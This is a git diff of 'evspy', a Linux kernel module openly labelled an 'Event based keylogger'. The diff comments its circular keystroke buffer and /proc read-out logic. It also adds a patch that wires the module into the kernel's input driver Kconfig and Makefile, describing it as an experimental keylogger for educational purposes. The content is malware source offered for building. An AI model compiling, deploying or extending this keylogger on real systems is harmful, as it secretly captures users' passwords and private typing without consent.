diff options
Diffstat (limited to 'evspy')
| -rw-r--r-- | evspy/evspy.c | 40 | ||||
| -rw-r--r-- | evspy/evspy.h | 2 | ||||
| -rw-r--r-- | evspy/evspy.patch | 31 |
3 files changed, 52 insertions, 21 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c index 8703bf1..50af056 100644 --- a/evspy/evspy.c +++ b/evspy/evspy.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011 Guillermo Ramos + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> * based on evbug module by Vojtech Pavlik ((c) 1999-2001) */ @@ -18,30 +18,27 @@ * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * - * Should you need to contact me, the author, you can do so either by - * e-mail - mail your message to <vojtech@ucw.cz>, or by paper mail: - * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic + * Should you need to contact me, the author, you can mail your message to + * <0xwille@gmail.com> */ -#include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> +#include <linux/slab.h> #include <linux/init.h> -#include <linux/device.h> - -#include <asm/page.h> #include <linux/proc_fs.h> #include <linux/stat.h> #include <linux/string.h> #include <linux/cred.h> #include <linux/sched.h> +#include <asm/page.h> #include "evspy.h" -static char *buffer; -static char *rdp; -static char *wrp; -static char *map = EVS_MAP; // The current keyboard layout +static char *buffer; // circular buffer +static char *rdp; // read pointer +static char *wrp; // write pointer +static char *map = EVS_MAP; // current keyboard layout static unsigned int capslock_state = EVS_VAL_FREE; // This is how special keys will be displayed (+: pressed / -: freed) @@ -71,12 +68,15 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, #endif } + // wrp > rdp: read from rdp to wrp if (diff > 0) { n = MIN(diff, count); strncpy(page, rdp, n); rdp += n; retval = n; + // rdp > wrp: read from rdp to end of buffer and then from the beginning of + // the buffer to wrp } else if (diff < 0) { toend = (buffer + EVS_BUFSIZE) - rdp; n = MIN(toend, count); @@ -93,6 +93,7 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, } } + // wrp == rdp: buffer is empty if (rdp == wrp) *eof = 1; return retval; @@ -106,7 +107,7 @@ static void special_char(unsigned int code, unsigned int value) int i; int known = 1; - // We don't care when some keys are freed + // We don't care when some special keys are freed; add them here switch(code) { case KEY_LEFTSHIFT: case KEY_RIGHTSHIFT: @@ -158,7 +159,7 @@ static void special_char(unsigned int code, unsigned int value) } if (!known && evs_isfX(code)) { - // TODO: Which F key has been pressed? + // TODO: Which F key has been pressed? (by the way, who cares? ... ) strncpy(sp_tag+2, "F??", 3); } else if (!known) { return; @@ -245,10 +246,10 @@ static const struct input_device_id evspy_ids[] = { MODULE_DEVICE_TABLE(input, evspy_ids); static struct input_handler evspy_handler = { - .event = evspy_event, - .connect = evspy_connect, - .disconnect = evspy_disconnect, - .name = "evspy", + .event = evspy_event, + .connect = evspy_connect, + .disconnect = evspy_disconnect, + .name = "evspy", .id_table = evspy_ids, }; @@ -271,7 +272,6 @@ static void __exit evspy_exit(void) module_init(evspy_init); module_exit(evspy_exit); -MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>"); MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); -MODULE_DESCRIPTION("Custom input driver event module"); +MODULE_DESCRIPTION("Event based keylogger"); MODULE_LICENSE("GPL"); diff --git a/evspy/evspy.h b/evspy/evspy.h index 1401337..626dc2f 100644 --- a/evspy/evspy.h +++ b/evspy/evspy.h @@ -1,5 +1,5 @@ +#include <asm/page.h> #include <linux/input.h> -// TODO include PAGE_SIZE etc #include "maps.h" #define EVS_MAP map_es // change this to your keyboard layout diff --git a/evspy/evspy.patch b/evspy/evspy.patch new file mode 100644 index 0000000..916f52b --- /dev/null +++ b/evspy/evspy.patch @@ -0,0 +1,31 @@ +diff --git a/drivers/input/Kconfig b/drivers/input/Kconfig +index 23e82e4..ac4889a 100644 +--- a/drivers/input/Kconfig ++++ b/drivers/input/Kconfig +@@ -149,6 +149,14 @@ config INPUT_EVBUG + To compile this driver as a module, choose M here: the + module will be called evbug. + ++config INPUT_EVSPY ++ tristate "Event based keylogger" ++ help ++ This is an experimental keylogger made for educational purposes ++ ++ To compile this driver as a module, choose M here: the ++ module will be called evspy. ++ + config INPUT_APMPOWER + tristate "Input Power Event -> APM Bridge" if EXPERT + depends on INPUT && APM_EMULATION +diff --git a/drivers/input/Makefile b/drivers/input/Makefile +index 0c78949..00c8429 100644 +--- a/drivers/input/Makefile ++++ b/drivers/input/Makefile +@@ -15,6 +15,7 @@ obj-$(CONFIG_INPUT_MOUSEDEV) += mousedev.o + obj-$(CONFIG_INPUT_JOYDEV) += joydev.o + obj-$(CONFIG_INPUT_EVDEV) += evdev.o + obj-$(CONFIG_INPUT_EVBUG) += evbug.o ++obj-$(CONFIG_INPUT_EVSPY) += evspy.o + + obj-$(CONFIG_INPUT_KEYBOARD) += keyboard/ + obj-$(CONFIG_INPUT_MOUSE) += mouse/ |